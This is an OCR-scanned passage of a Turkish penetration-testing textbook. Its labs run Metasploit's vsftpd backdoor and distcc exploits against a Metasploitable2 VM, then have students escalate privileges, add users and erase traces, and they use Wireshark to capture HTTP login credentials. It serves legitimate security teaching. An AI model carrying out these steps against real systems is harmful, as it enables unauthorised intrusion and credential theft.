Exploitler hedef sistemin aciklarini somiirmek, kullanmak, ele gecirmek ve bilgi ¢cekmek
amaciyla olusturulan yazilim ve araglardir. Exploitler; C, Perl, Ruby, Python ve Php gibi program-
lama dillerinde kiiciik programlar halinde hazirlanir. internette {cretli veya licretsiz kullanilabile-
cek exploitler mevcuttur. Exploitler kullanim alanlarina gére Ug gruba ayrilmistir. Bunlar; uzaktan
(remote) exploit, yerel (local) exploit, sifir glin (zero day) exploit olarak siralanabilir.

Uzaktan (Remote) Exploit: Uzaktaki bir bilgisayara ulasmak ve sistemin agiklarini kullanarak
cesitli bilgiler elde etmek icin kullanilir.

Yerel (Local) Exploit: Sisteme iceriden erisimde bulunarak gesitli bilgileri almak icin kullanihr.
Hedef sistemde direkt olarak ¢alisan exploitlerdir. Hedef sisteme giris yapildiginda hak yikseltme
islemlerinde kullantlir.

Sifir Glin (Zero Day) Exploit: Bir sistemde daha 6nce gorilmemis bir zafiyet bulan ve bu
zafiyeti somirmek icin yazilan exploitlere denir. En tehlikeli exploit ¢esidi budur. Bu exploitin ¢ok
tehlikeli olmasinin nedeni, bu agikhgin heniiz sistem yoneticileri tarafindan bilinmemesidir.
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. 6. UYGULAMA

Metasploit Programiyla vsftpd_234_backdoor isimli Exploiti Kullanma islemi

Asagidaki islem adimlarina gore Metasploit programiyla vsftpd 234 backdoor isimli exploiti
arayip, kullanima hazir hale getirerek calistiriniz.

1. Adim: Kali isletim sisteminde terminal satirina “msfconsole” komutunu yazarak Metasploit
programini ¢alistiriniz.

2. Adim: search exploit vsftpd komut satirini yaziniz. Exploitin bulunduguna dair Gorsel
3.20’deki ekranla karsilasacaksiniz.

Gorsel 3.20: Metasploit programiyla exploit arama islemi

3. Adim: use vsftpd_234 backdoor komut satiri ile exploiti kullanima hazir hale getiriniz
(Gorsel 3.21).

Gorsel 3.21: use parametresiyle exploiti segme islemi

4. Adim: “show options” komutunu yazarak sizma isleminde kullanilacak tim bilgileri
gorintileyiniz (Gorsel 3.22).

Gorsel 3.22: Segilen exploit kullanimi ile ilgili bilgi edinme islemi
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5. Adim: “show options” komutunu yazdiktan sonra secilen exploit ile ilgili kullanilacak
payloadlari tespit ediniz. Konsol ekranina set payload cmd/unix/interact komut satiri yazilirsa
sistem exploit oldugunda cmd/unix/interact payloadi devreye girecektir (Gorsel 3.23).

Gorsel 3.23: payloadin se¢imi

6. Adim: Hedef bilgisayarla baglanti kurmak ve exploiti ¢alistirmak icin hedef sistemin
RemoteHost (RHOST) ve kullanici bilgisayarinin LocalHost (LHOST) IP numaralarini asagidaki kod
satirlari seklinde yaziniz.

set RHOST 192.168.182.134 //(Sanal Metasploitable2 isimli makinenin IP’si)

set LHOST 192.168.182.133 //(Sanal Kali makinenin IP’si)

Gorsel 3.24: Segilen exploitin ¢caligmasi

7. Adim: “exploit” veya “run” komutlarindan birini yazarak hedef sisteme baglanti kurunuz ve

exploiti calistiriniz.

8. Adim: Bu islemleri sirasiyla dogru yaparak hedef bilgisayara baglanti kurunuz ve sizma
islemini gerceklestiriniz. Exploit kullanarak 21 numarali port ile bir arka kapi aciniz.

3.9.5. Erisim Elde Etme ve Yetki Yiikseltme

Sizma testi stirecinde amag, sisteme bir sekilde giris hakki elde etmektir. Bu siiregten sonra
sistemdeki kullanicinin haklarinin artiriilmasi hedeflenmelidir. Erisim elde edilen sistemlerde
yetki ylkseltme islemleri ile sistemdeki kisitlamalar atlatilmaya calisilir. Linux sistemler icin root,
Windows sistemler icin NT AUTHORITY\SYSTEM yetkileri kazanilir.

Erisim elde edilen sistemler lizerinden dogrudan erisilmeyen diger aglara yayilma islemleri
yapilarak tim sistemin ele gecirilmesi denenir. Erisim saglanan sistemlerde galisan uygulamalara
ait giris bilgileri elde edilir. Onceki adimda kazanilan yiiksek yetkiler ile sistemler iizerinde
sifrelenmis veya acik bir sekilde bulunan parolalar elde edilir. Sistemler iginde bulunan énemli
dosyalarin, dokiimanlarin bir kopyasi alinir ve rapora eklenir.
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3.9.6. Detayli Arastirma

Sizma sirecinde erisim yapilan sistemlerden admin haklarini ele gecirmek icin isletim
sistemindeki ve yazilim uygulamalarindaki tasarim hatalarindan (desing flaws), programlama
hatalarindan, yazilim hatalarindan (bugs) ve yapilandirma hatalarindan yararlanilir. Bu haklar;
saldirganin gizli verileri gérmesini, dosyalari silmesini, virisler ve Truva atlar gibi koticdl
programlari sisteme yiiklemesini saglar.

3.9.7. Erisimlerin Korunmasi

Sisteme girildiginin anlasiimamasi igin bazi énlemlerin alinmasinda fayda vardir. Bunlar; giris
kayitlarinin (loglarin) silinmesi, disariya erisim acilacaksa gizli kanallarin kullaniimasi (covert
channel), arka kapi (backdoor), rootkit yerlestiriimesi olarak siralanabilir. Erisim kontroli igin
overt ve covert olmak Gzere iki tlrlu iletisim kanali vardir.

Overt Channel: Yasal iletisim hattidir. Sistem yoOneticileri tarafindan veri tasima amaciyla
olusturulmustur.

Covert Channel: Trojanlar ile veri hirsizhg gibi kurum politikalarina aykiri amaclar igin
kullanilan yetkisiz ve gizli kanaldir.

Arka Kapilar (Backdoor): Yazilim ve sistemlerde istemli veya istemsiz olarak birakilan, veri
girisi veya cikisi (veri sizdirmasi vb.) amaciyla kullanilan agik noktalardir.

Rootkit: Saldirgan istediginde baglanti kurmasi icin kullanilan, dosya gizlemeye yarayan,
yasal yazilimlari zararli yaziimlarla degistiren, amacina goére klavye girdilerini dinleyebilen arka
kapilardir.

3.9.8. izlerin Silinmesi

Hedef sistemde olusturulmus arka kapilar, test amacli scriptler, sizma testleri icin eklenmis
tiim veriler not alinmali ve test bitiminde silinmelidir. Calistirilan exploitler sistemde herhangi bir
degisiklik yaptiysa yazilimlar orijinaline dondurilir ve olusturulan dosyalar silinir.

3.9.9. Raporlama

Rapor, bir testin en 6nemli kismidir. Raporlar ne kadar agik ve detayli hazirlanirsa kurumun risk
degerlendirmesi ve glivenlik agiklarini gidermesi de o kadar kolay olur. Testler esnasinda ortaya
¢ikan guvenlik agiklarinin belgelenip, s6zIi olarak aninda bildirilmesi test yapan ekibin gorevleri
arasindadir.
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Rapor bulgularinin farkli kategorilerde degerlendirebilecek sekilde hazirlanmasi gerekir.
Raporda sizma testinin hangi programlarla yapildiginin bildirilmesi, ilgili kurumun sistem
yoneticilerinin farkindaliklarini artirmak agisindan énemlidir. Sizma testi raporu, ilgili kurumun

genel glivenlik degerlendirmesini ve iyilestirme 6nerilerini icermelidir.

3.10. ZAMANLAMA

Hedef sistemlerin kritiklik durumlarina gore sizma testlerinin zamanlamasi ayarlanmali,
Gretimi veya verilen hizmeti aksatmayacak sekilde uygun bir zaman belirlenmelidir. DDoS
testlerinin genellikle hafta sonu ve gece yarisi gergeklestirilmesi dnerilir.

3.11. SIZMA TEST KALITESINiN OLCUMU

Bu konuda ilgili kurumun yaklasimi cok 6nemlidir. Kurumlar genellikle sizma testi yerine zafiyet
tarama isleminin yapilmasini ister ancak zafiyet tarama islemleri sistemin tiim zayif yonlerini
bulmaya ve gerekli dnlemleri almaya yetmeyebilir. Bu nedenle sizma testi gesitlerinin hepsi
uygulanarak sistemin bitin zafiyetleri ortaya ¢ikartilmali ve alinacak dnlemler tespit edilmelidir.
Bu sekilde tam bir glivenlik olusturulabilir.

Sizma testleri uygulanip, gerekli gorilen iyilestirme c¢alismalari tamamlandiktan sonra
dogrulama testi yapilarak giivenlik durumunun ne kadar iyilestirildigi belirlenmelidir.

3.12. BULGULARIN SAKLANMASI

Sizma testlerini yapan ekiplerin elde ettigi sonuglar fiziksel ortamda koruma altina alinmahdir.
Aksi halde hedef sistemlere ait ¢ok hassas bilgiler baskalarinin eline gegebilir. Test sonuglarini
saklamak icin Truecrypt gibi disk sifreleme yazilimlari kullanilabilir.

7. UYGULAMA

Kali Sanal Makinesinden Metasploitable2 Sanal Makinesine Metasploit Araciyla Sizma ve
Cesitli Eylemleri Gergeklestirme

Diger sayfadaki islem adimlarina gore Kali sanal makinesinden Metasploitable2 sanal
makinesine metasploit araciyla sizip bu sanal makineden sistem bilgilerini alma, arka kapi
olusturma, baglantiyi sonlandirma eylemlerini gergeklestiriniz.
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1. Adim: Bilgisayara kurulan sanal makindeki Kali’nin icinde nmap —sP 192.168.0.0 komut
satiriyla bulunan agdaki IP adreslerini ve ana bilgisayarlari tespit ediniz (Gorsel 3.25).

Gorsel 3.25: Hedef sistemlerin IP numaralarini 6grenme islemi

2. Adim: Sanal makinedeki Kali Linux isletim sistemindeyken “ifconfig” komutunu yaziniz ve
bu makinenin IP adresini bulunuz (Gorsel 3.26).

Gorsel 3.26: Kali Linux isletim sisteminde IP adresi bulma islemi

3. Adim: Hedef bilgisayarin IP adresini kesfettikten sonra nmap araciyla ag taramasi gercekles-
tiriniz ve ag haritasi ¢ikariniz.
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Bu islem icin “nmap -v -A Hedef IP Adresi” komut satiri kullanilir. Bu komut araciligiyla hedef
sistemin agik portlari listelenir. Tarama islemi bittiginde bulunan agik portlar Gorsel 3.27'de
verilmistir.

Gorsel 3.27: Tarama isleminde bulunan agik portlar
4. Adim: Secilen hedef IP ile ilgili tam tarama yapmak icin “nmap -sV Hedef IP Adresi” komut

satirini yaziniz. islem sonucunda hedef bilgisayarda bulunan acik portlari ve agiklik tiiriini listele-
yiniz (Gorsel 3.28).

Gorsel 3.28: nmap araciyla agik port ve zafiyetin tespiti

5. Adim: Bulunan zafiyetleri sdmirmek amaciyla metasploit aracini kullaniniz. Bunun igin
terminale “msfconsole” komutunu giriniz. Tespit edilen zafiyetin adini metasploit araci iginde
aratiniz (Gorsel 3.29).

Gorsel 3.29: Bulunan zafiyet i¢in metasploitte arama islemi
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6. Adim: Tarama sonucunda 21 numarali acik port icin  vsftpd 234 backdoor exploitini
arayip kullaniniz.

7. Adim: “use” parametresiyle bulunan exploiti kullanim i¢in seciniz (Goérsel 3.30).

Gorsel 3.30: use parametresiyle exploit segimi

8. Adim: “show options” komutunu girerek bir dnceki adimda belirlenen hedefin bilgilerini
ekrana getiriniz (Gorsel 3.31).

Gorsel 3.31: Hedefin bilgileri

9. Adim: “show payloads” komutunu terminale yazarak se¢eneklerdeki payloadlari goériniz
(Gorsel 3.32).

Gorsel 3.32: Uygulanabilecek payloadlarin listelenmesi

10. Adim: Komut satirina set payload cmd/unix/interact yazarak kullanilacak payloadi belir-
leyiniz (Gorsel 3.33). Exploitile hedef sisteme sizildiginda segilen payload hedef sistemde ¢alisirsa
kullaniciya bir baglanti olusturur. Boylece hedef sistem payloadla kumanda edilir.

Gorsel 3.33: exploit vsftpd_234_backdoor icin payload se¢imi
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11. Adim: Komut satirina set RHOST 192.168.134 yazarak hedef sistemi belirtiniz (Gorsel
3.34).

Gorsel 3.34: Hedef sistemin belirtilmesi

12. Adim: Komut satirina set LHOST 192.168.182.128 yazarak kullanici bilgisayarinin IP’sini
giriniz (Gorsel 3.35).

Gorsel 3.35: Kullanici IP’sinin belirtilmesi

13. Adim: Komut satirina “exploit” veya “run” yazarak islemi sonlandiriniz. Metasploitable2
sistemine sahip bilgisayara giriniz. islemin gerceklestigine dair Gérsel 3.36daki ekranla
karsilagsacaksiniz.

Gorsel 3.36: exploitin ¢galigmaya baglamasi

14. Adim: command Shell session 1 opened ekrani geldiginde “whoami” ve “ifconfig” ko-
mutlariyla hedef bilgisayarin bilgilerine bakiniz (Gérsel 3.37). Bu islemde hedef bilgisayarin FTP
servisinde bir zafiyet kullanarak exploit (s6émri) islemini gerceklestiriniz.

Gorsel 3.37: Hedef bilgisayarin bilgileri
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15. Adim: command Shell session 1 opened ekranina “uname” komutunu yazarak hedef
bilgisayarin isletim sistemi bilgisini goriintz (Gorsel 3.38).

Gorsel 3.38: Hedef bilgisayarin isletim sistemi bilgilerini gésterme islemi

16. Adim: Hedef bilgisayarda ilgili Linux komutlariyla yetki ylkseltme, dosya kopyalama, iste-
nilen dosyayi silme, kullanici ekleme, kullanici sifresini degistirme, izlerisilme, yapilan degisiklikleri
eski haline getirme islemlerini yapiniz.

. 8. UYGULAMA

Kali Sanal Makinesinden Metasploitable2 Sanal Makinesine Metasploit Araciyla Sizma ve
Savunmasiz DISTCC’den Yararlanma

Asagidaki islem adimlarina gore Kali sanal makinesinden Metasploitable2 sanal makinesine
metasploit araciyla sizip bu sanal makineden sistem bilgilerini alma, arka kapi olusturma,
baglantiyi sonlandirma eylemlerini gerceklestiriniz.

1. Adim: Bilgisayara kurulan sanal makinedeki Kali'ninicinde nmap —sP 192.168.0.0 komutuyla
bulunan agdaki IP adreslerini ve ana bilgisayarlari tespit ediniz.

2. Adim: Sanal makinedeki Kali Linux isletim sistemindeyken “ifconfig” komutunu yaziniz ve
bu makinenin IP adresini bulunuz.

3. Adim: Hedef bilgisayarin IP adresini kesfettikten sonra nmap araciyla ag taramasi gergek-
lestiriniz ve ag haritasi ¢ikariniz.

4. Adim: Hedef siteyleilgili tam taramaislemi de yapilabilir. islem sonucunda hedef bilgisayarda
bulunan acik portlari ve acgiklik tiirini listeleyiniz.

5. Adim: Bulunan zafiyetleri somiirmek amaciyla metasploit araci kullaniimalidir. Tespit edilen
zafiyetin adini metasploit araci icinde aratiniz.

6. Adim: Tarama sonucunda 3632 numarali acgik port igin distcc_exec exploitini arayip kulla-
niniz (Gorsel 3.39).

Gorsel 3.39: distcc_exec exploitini arama
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7. Adim: “use” parametresiyle bulunan exploiti kullanim igin seciniz (Gorsel 3.40).

Gorsel 3.40: use parametresiyle exploit secimi

8. Adim: “show options” komutunu girerek bir dnceki adimda belirlenen hedefin bilgilerini
ekrana getiriniz (Gorsel 3.41).

Gorsel 3.41: Hedefin bilgileri

9. Adim: “show payloads” komutunu terminale yazarak segeneklerdeki payloadlari gériiniz
(Gorsel 3.42).

Gorsel 3.42: Uygulanabilecek payloadlarin listelenmesi

10. Adim: Komut satirina set payload cmd/unix/interact yazarak kullanilacak payloadlari
belirleyiniz (Gorsel 3.43). Exploit ile hedef sisteme sizildiginda segilen payload hedef sistemde
calisirsa kullaniciya bir baglanti olusturur. Boylece hedef sistem payloadla kumanda edilir.

Gorsel 3.43: exploit distcc_exec igin payload segimi
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11. Adim: Komut satirina set rhost 192.168.1.37 ve set rport 3632 yazarak hedef sistemin IP
ve aclk port numarasini belirtiniz (Gorsel 3.44).

Gorsel 3.44: Hedef sistemin belirtilmesi

12. Adim: Komut satirina set Ihost 192.168.1.36 yazarak kullanici bilgisayarinin IP’sini giriniz
(Gorsel 3.45).

Gorsel 3.45: Kullanici IP’sinin belirtilmesi
13. Adim: Komut satirina “exploit” veya “run” yazarak islemi sonlandiriniz. Metasploitable2

sistemine sahip bilgisayara giriniz. islemin gerceklestigine dair Gérsel 3.46'daki ekranla
karsilasacaksiniz.

Gorsel 3.46: exploitin ¢calismaya baglamasi

14. Adim: command Shell session 1 opened ekrani geldiginde “whoami” ve “uname”
komutlariyla hedef bilgisayarin bilgilerine bakiniz (Gorsel 3.47). Bu islemde hedef bilgisayarin
TCP, UDP servisinde bir zafiyet kullanarak exploit islemini gerceklestiriniz.

Gorsel 3.47: Hedef bilgisayarin bilgileri
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15. Adim: Hedef bilgisayarda ilgili Linux komutlariyla yetki ylkseltme, dosya kopyalama,
istenilen dosyay! silme, kullanici ekleme, kullanici sifresini degistirme, izleri silme, yapilan
degisiklikleri eski haline getirme islemlerini yapiniz.

a@nx=

DISTCC, Metasploitable2 (zerinde galisan savunmasiz bir uygulama olarak bilinir. Hedef

bilgisayarda kok erisimi (yetkili kullanici) elde etmeyi saglar. 3632 numarali baglanti noktasinda
cahisir. DISTCC, arka plan icin varsayilan dinleme baglanti noktasidir. Yalnizca IP tabanh kimlik

dogrulamasini destekler.

. SIRA SiZDE

Sanal makine igindeki Kali isletim sisteminden yaptiginiz port taramasi sonucu uygun bir
exploit secerek yine sanal makinede ylkli Metasploitable2’ye sizma islemi gergeklestiriniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET | HAYIR
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OLCME VE DEGERLENDIRME

A) Asagidaki ciimlelerde parantez igine yargilar dogru ise “D”, yanlis ise “Y” yaziniz.

1. ( ) Sizmatestleri, glivenlik uzmanlari tarafindaniilgili kurumdan izin alinarak gerceklestirilir.
2. ( ) Bilisim alaninda glivenlik uzmanlarinin kullandig iki ¢esit sizma testi bulunmaktadir.
3.( ) Sizma testleri sadece ag giivenligi icin uygulanir.

4. ( ) Dis ag sizma testlerinde giivenlik uzmani dis agla ilgili olan cihaz, yazihm, sifreler gibi
bltln ayrintilari kontrol etmek zorundadir.

5.( ) GUnumuzde en yaygin olarak kullanilan giivenlik test platformlarindan Kali Linux, Linux
Debian tabanli ve (icretsiz bir isletim sistemidir.

B) Asagidaki ciimlelerde bos birakilan yerlere dogru sézciikleri yaziniz.

6. Bir devlet kurumunun veya 6zel bir kurumun kendi icindeki ag sistemine veya bilgilere
erisilebilecegini ......cccccveeeeeeeeccieiee e ennen.n, @rastarir.

7. Bir devlet kurumunun veya 6zel bir kurumun disariya agik olan sistemleri lizerinden hangi
bilgilere ve sistemlere erisilebilecegini ......ccccevveeeeeeeeicccciieccecee e, arastirir.

8. Herhangi bir kurumun internete acik olan (DNS, FTP, mail, web vb.) servislerini kontrol
etmek igin kullanilan sizma testing .......ccceeeevevvevevvivineeeceeeennnn. denir.

9. Akilli telefonlar gibi mobil cihazlara uygulanan sizma testing ........c.cccoveveeeeiecececccceeeree.
denir.

10. Kurum galisanlarinin insani zafiyetlerini ortaya ¢ikaracak sekilde glivenlik biling seviyesinin
OlcUIdUEU testlere ..., denir.

11. Yazilim ve sistemlerde istemli veya istemsiz olarak birakilan, veri girisi veya cikisi (veri
sizdirmasi gibi) amaciyla kullanilan agik noktalara .........cccceeveiveeiiincceciee e, denir.

12. Saldirganin istediginde baglanti kurmasi i¢in kullanilan, dosya gizlemeye yarayan, yasal
yazihmlari zararli yazilimlarla degistiren, amacina gore klavye girdilerini dinleyebilen arka kapilara

142 I Sizma Testi Teknikleri



C) Asagidaki sorulari dikkatlice okuyarak dogru secenegi isaretleyiniz.

13. Glvenlik uzmani bir sizma testi baslatir ve yonetim tarafindan kendine verilen teknik
belgeleri (sistemlerin nasil tasarlandigini ve diizenlendigi) gbzden gegirir.
Buna gore asagidakilerden hangisi giivenlik uzmaninin gergeklestirdigi test tiiridiir?

A) Beyaz
B) Gri

C) Kirmizi
D) Sari

E) Siyah

14. Asagidakilerden hangisi kurum galisanlarinin giivenlik bilincini 6lgmek igin kullanilan
test tiirtidiir?

A) A8

B) Kablosuz ag

C) Kablosuz

D) Sosyal miihendislik
E) Web uygulamasi

15. Sizma testi islemi igin hicbir bilgiye sahip olunmadan yapilan test tiirii asagidakilerden
hangisidir?

A) Beyaz kutu
B) Dis ag sizma
C) Gri kutu

D) i¢ ag sizma
E) Siyah kutu

16. Asagidakilerden hangisi sizma testi asamalarindan biri degildir?

A) Bilgi toplama

B) izleri silme

C) Kesif yapma

D) Metasploit Framework kullanma
E) Zafiyet taramasi
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17. Asagidakilerden hangisi ag ortaminda giivenlik agiklarinin sebeplerinden biri olamaz?
A) Egitim eksikligi

B) Guvenlik uzmani

C) insan hatasi

D) Sifreler

E) Yazilim hatalari

18. Asagidakilerden hangisi sizma testi calismalarini yapan kisilere verilen isim degildir?

A) Beyaz sapkali hacker
B) Etik hacker

C) Exploit

D) Guvenlik uzmani

E) Pentester

19. Asagidakilerden hangisi kritik altyapili sistemlere 6rnek degildir?

A) Bilgi ve iletisim teknolojileri aglari
B) Enerji kurumlari ve bagli aglar

C) Finansal hizmetler

D) Okul bilgisayarlari

E) Ulasim aglari

20. Asagidakilerden hangisi sizma testi islemi 6ncesinde kullanilan aktif bilgi toplama araci
degildir?

A) Dmitry

B) Dnsrecon

C) Nmap

D) Payload

E) Zenmap

21. Ag aygitlarindaki agik baglantt noktalarinin listesini saglamak igin asagidaki
programlardan hangisi kullanilir?

A) Metasploit

B) Meterpreter

C) Nmap

D) Ping

E) Tracert
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22. Asagidakilerden hangisi sizma testi islemlerinde hedef sistemdeki agiklari kullanarak
gerekli payloadlarla s6miirme islemi yapar?

A) Exploit

B) Metasploit Framework
C) Meterpreter

D) Kali Linux

E) Payload

23. Asagidakilerden hangisi zararh yazimlardan korunmak icin alinacak tedbirlerden biri
degildir?

A) isletim sistemini giincel tutmak

B) Mail adresine gelen mailleri hemen okumak

C) Lisansl antivirls programi kullanmak

D) Sabit diskin yedegini almak

E) Tarayicilari giincel tutmak

24. Asagidakilerden hangisi bir rootkitin amacidir?

A) Diger programlardan bagimsiz olarak kendini cogaltmak
B) Hedef cihaz hakkinda bilgi toplamak

C) Kendini gizlerken bir cihaza ayricalikh erisim kazanmak
D) Kullanicilarin izni olmadan reklam yayinlamak

E) Mesru bir program gibi davranmak
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RIVIVINVINOAN IA NTLNOA DONIZHINS

4.

OGRENME BiRiMi
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KONULAR

4.1. SNIFFER ARACLARINI KULLANMA
4.2. MAC SELI (MAC FLOODING) SALDIRISI
4.3. ARP ZEHIRLENMESI (ARP POISONING)

NELER OGRENECEKSINiz?

e Ag Uzerindeki protokolleri dinleme

e Wireshark programi

e Tcpdump komutlari

¢ MAC seli (MAC flooding) saldiri ydontemi

* ARP zehirlenmesi (ARP poisoning) saldiri yontemi

ANAHTAR KELIMELER

ARP poisoning, Kali Linux, Wireshark, MAC flooding, sniffing, tcpdump
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HAZIRLIK CALISMALARI

1. Ag Gzerindeki trafigi dinleme ile ilgili neler biliyorsunuz?

2. Wireshark programi hakkinda neler biliyorsunuz?
3. Tcpdump komutu hakkinda neler biliyorsunuz?

4. MAC seli (MAC flooding) ve ARP zehirlenmesi (ARP poisoning) saldirilari hakkinda neler
biliyorsunuz?

4.1. SNIFFER ARACLARINI KULLANMA

Sniffing kelimesinin Tirkge karsiligl koklama, dinlemedir. Sniffing bir ag lzerindeki proto-
kollerin dinlenmesi, koklanmasi ve agda tasinan bilgilerin okunmasi anlamina gelir. Saldirganlar
bazi uygulamalari kullanip, ag tizerindeki protokolleri dinleyerek bu protokollerin icindeki bilgileri
ele gecirirler (Gorsel 4.1). Agin glvenligini saglamak ve baskalarinin aga izinsiz sekilde girmesini
engellemek, bu acidan kritik 6neme sahiptir.

Gorsel 4.1: Ag uizerindeki protokolii dinleme

Ag1 yoneten kisiler, ag Gzerinde haberlesmenin dogrulugunu kontrol etmek amaciyla birtakim
uygulamalardan faydalanirlar. Sniffing islemlerinde yaygin olarak kullanilan uygulamalar sunlardir:

e Wireshark
e Tcpdump
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4.1.1. Wireshark

Wireshark, yiklendigi bilgisayarin bagh oldugu ag lizerindeki protokolleri yakalayip dinleyen,
ortayacikan bilgileri kaydedebilen, sonrasinda bu kayitlariacip okumayaizin veren bir uygulamadir.
Wireshark, acik kaynak bir yazilmdir ve grafik araylzi sayesinde kullanimi kolaydir.

Wireshark uygulamasi acildiginda Gorsel 4.2’deki arayiiz ile karsilasihr.

_)1

Gorsel 4.2: Wireshark uygulamasinin arayiizii

Araylz ekraninda goriinen bolimler asagidaki gibi gruplanmistr.

Meni seceneklerinin yer aldigi men alanidir.

Uygulamada en sik kullanilan 6zelliklerin oldugu alandir.

Ag Uzerinde protokolleri filtrelemek icin filtre degerinin yazildig1 alandir.
Ag lizerinde izlenecek protokol isminin yazildigi alandir.

Ag lizerindeki tim trafigi izlemek igin kullanilan ag kartlari alanidir.

AN o

Wireshark uygulamasi hakkinda genis bilgi elde etmek icin kullanilan alandir.
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HTTP (Hyper Text Transfer Protocol), hiper metin transfer protokoludir. HTTP protokold,
web sayfalarinin gorintilenmesini saglar. Bu protokol, ag dinleme uygulamasiyla dinlenebilir.
Wireshark uygulamasi ile kablosuz ag tGzerinden HTTP protokoli yakalanip bu protokol icindeki
bilgilere ulasilabilir.

1. UYGULAMA

Wireshark Uygulamasiyla HTTP Protokoliinii Dinleme

Asagidaki islem adimlarina gore ag lizerinde HTTP protokolini dinleyiniz.

1. Adim: Wireshark programini agtiktan sonra Gorsel 4.3’teki Wi-Fi segenegine cift tiklayiniz.

Gorsel 4.3: Wireshark ag trafigi

2. Adim: Bu asamada Wireshark uygulamasinda Wi-Fi ag1 dinleme islemi baslamistir. Ag
Gzerinde HTTP protokollinii olusturmak icin herhangi bir web tarayicisini agarak farkh web

sitelerinde gezininiz ve ardindan Gorsel 4.4’teki Stop Capture (dinlemeyi durdur) digmesine
tiklayiniz.

Stop Capture

o0

Gorsel 4.4: Wireshark dinlemeyi durdurma
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3. Adim: Wireshark uygulamasinda bir¢ok protokol yakalanmaktadir. Dinlenen protokollerden
sadece HTTP protokollni goriintilemek icin Gorsel 4.5’teki protokol filtre alanina http yaziniz ve
HTTP protokollerinin listelendigini gériniz.

L ]

Gorsel 4.5: HTTP protokollerini filtreleme

4. Adim: Okumak istediginiz HTTP protokoliliniin Gzerine gelerek sag tiklayiniz. Gorsel 4.6’daki
gibi Follow ve HTTP Stream seceneklerine tiklayiniz.

Gorsel 4.6: Dinlenen HTTP protokol igerigine ulagim
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Ag dinlemesine takilan HTTP protokol icerigi Gorsel 4.7’deki gibi olusmaktadir. a) bolimiinde
HTTP istegi yer almakta, b) béliminde ise gonderilen istege karsi sunucudan donen cevap
gorintilenmektedir.

b)

Gorsel 4.7: HTTP protokol igerigi

HTTP protokoli kullanilan web sitelerindeki oturum bilgileri ag dinleme araglariyla ele
gecirilebilir. Kot niyetli kisiler bu durum sayesinde kullanici adi ve parola gibi oturum bilgilerini
gormektedir. Bunu engellemek icin HTTPS protokoli gelistirilmistir.

2. UYGULAMA

Wireshark Uygulamasiyla Oturum Bilgilerini Gorme

Asagidaki islem adimlarina gore HTTP protokolii kullanan bir web sitesinde oturum bilgilerini
Wireshark uygulamasiyla ele gegciriniz.

1. Adim: Herhangi bir arama motoru sitesinde “http login test” aramasi yapiniz. Arama
sonuglari listesinde yer alan 6rnek bir siteye giris yapiniz (Bu web sitesinde oturum ag¢ma
formunun bulundugundan emin olunuz.).
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Wireshark uygulamasini aginiz ve ag dinleme islemini birinci uygulamada gosterildigi gibi
baslatiniz. Gorsel 4.8’'de gorildugi gibi 6rnek site Uzerinde yer alan formdaki Username ve
Password alanlarini doldurunuz ve login diigmesine basiniz (Username= kullaniciadi ve Pasword=
parola degerlerini giriniz ve ardindan login digmesine basiniz.).

Gorsel 4.8: HTTP protokoli kullanan 6rnek bir kullanici giris formu

2. Adim: Wireshark uygulamasinda Stop Capture (dinlemeyi durdur) digmesine basiniz.
HTTP protokoll lizerinde yer alan oturum agma bilgilerine ulasmak icin protokol filtre alanina
http yazarak filtre uygulayiniz. Gérsel 4.9'daki gibi POST edilen userinfo.php sayfasi tzerindeki
forma girdiginiz uname=kullaniciadi ve pass=parola degerlerine ulasiniz.

Gorsel 4.9: Oturum bilgilerine ulagim

Wireshark uygulamasinda agi dinlerken her defasinda kullanilmasi zorunlu paket filtreleme
islemi olabilir. Filtre butonu olusturularak bu islem gerceklestirilebilir.
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3. UYGULAMA

Filtre Butonu Olusturma

Asagidaki islem adimlarina gore filtre butonu olusturunuz.

1. Adim: Wireshark uygulamasi arayliz ekraninda Gorsel 4.10’daki gibi + diigmesine tiklayiniz.

O

Gorsel 4.10: Filtre diigmesi ekleme

2. Adim: Filtre digmesi icin Label alanina DHCP Aramasi, Commet alanina filtre yapmak
istediginiz protokoll Gorsel 4.11'deki gibi yaziniz ve Tamam diigmesine tiklayiniz.

Gorsel 4.11: Filtre ismini ekleme
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3. Adim: Filtre dUgmesi olusturma sirasinda Label alanina yazilan deger Goérsel 4.12'deki gibi
filtre digme ismi olmaktadir. Olusturdugunuz filtre diigmesi sayesinde ag dinleme sonucu ortaya

¢ikan bilgilere tek seferde filtre uygulayiniz.

Gorsel 4.12: Filtre diigmesi

Tablo 4.1: Bazi Wireshark Filtreleri ve Filtrelerin Ornek Kullanimlar

Filtre Adi ve Agiklamasi

Ornek Kullanim

eth.addr: Kaynak veya hedef MAC adresi

eth.addr = = 54:2e:6b:ce:fc:bb

eth.src: Kaynak MAC adresi

eth.src = = 54:2e:6b:ce:fc:bb

eth.dst: Hedef (destination) MAC adresi

eth.dst = = 54:2e:6b:ce:fc:bb

arp.dst.hw_mac: Hedef (target) MAC adresi

arp.dst.hw_mac = = 54:2e:6b:ce:fc:bb

arp.dst.proto_ipv4: Hedef (target) IPv4 adresi

arp.dst.proto_ipv4 = =10.10.10.10

arp.src.hw_mac: Gonderici MAC adresi

arp.src.hw_mac = = 00:1a:6b:ce:fc:bb

arp.src.proto_ipv4: Gonderici IPv4 adresi

arp.src.proto_ipv4 ==10.10.10.10

vlan.id: VLAN ID

vlan.id ==16

ip.addr: Kaynak veya hedef IPv4 adres

ip.addr ==10.10.10.10

ip.dst: Hedef IPv4 adres

ip.addr ==10.10.10.10

ip.src: Kaynak IPv4 adres

ip.src ==10.10.10.10

tcp.port: Kaynak veya hedef TCP port

tcp.port ==20

tcp.dstport: Hedef TCP port

tcp.dstport = =80

tcp.srcport: Kaynak TCP port

tcp.srcport = = 60234

udp.port: Kaynak veya hedef UDP port

udp.port ==513

udp.dstport: Hedef UDP port

udp.dstport ==513

udp.srcport: Kaynak UDP port

udp.srcport = = 40000
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Tablo 4.2: Wireshark Uygulamasi i¢in Ornek Filtre ifadeleri

1. Ornek

ip.addr ==192.168.1.1
Gerek kaynak gerekse hedef IP adresinde 192.168.1.1 olan tiim satirlari
filtreler.

2. Ornek

ip.addr==192.168.1.1 && ip.addr==192.168.1.55
iki IP adresi arasindaki konusmayi filtreler.

3. Ornek

http or dns
IP kisitlamasi olmaksizin sadece HTTP ve DNS protokolleri ile ilgili
streamleri filtreler.

4. Ornek

tcp.port==3389
IP kisitlamasi olmaksizin TCP/3389 portu ile ilgili tiim streamleri filtreler.
